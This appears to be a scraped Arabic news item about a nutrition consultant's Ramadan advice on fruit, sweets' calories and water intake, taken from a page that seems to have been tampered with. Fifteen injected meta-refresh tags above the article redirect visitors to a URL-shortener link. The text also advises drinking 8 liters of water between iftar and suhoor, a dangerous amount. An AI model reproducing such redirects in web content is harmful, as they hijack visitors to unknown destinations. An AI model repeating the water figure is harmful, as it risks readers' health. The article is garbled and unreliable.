تغذية علاجية : تناول8لترات مياه من الافطار الى السحور

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

weight: 400;”>

weight: 400;”>نصحت الدكتورة ريهام صفوت استشاري التغذية العلاجية، بتناول ثمرتين من الفاكهة أو كوب من العصير بعد الإفطار بساعتين على الأقل تساعده على الهضم،فضلا عن تناول 8 لترات من المياه من ساعات الإفطار وحتى السحور ، وليس بعد السحور فقط.

weight: 400;”>وشددت “ريهام صفوت”،خلال حوار خاص مذاع عبر فضائية “أون لايف” ، اليوم الاثنين، على عدم تناول الحلويات عقب الإفطار مباشرًة خلال شهر رمضان،مفيدة أن قطعة البسبوسة تحتوي على 360 سعرا والـ 100 جرام من القطايف يحتوى على 290 سعرا ، ويجب مراعاة توزان كميات الحلويات على مدار الشهر الكريم .

weight: 400;”>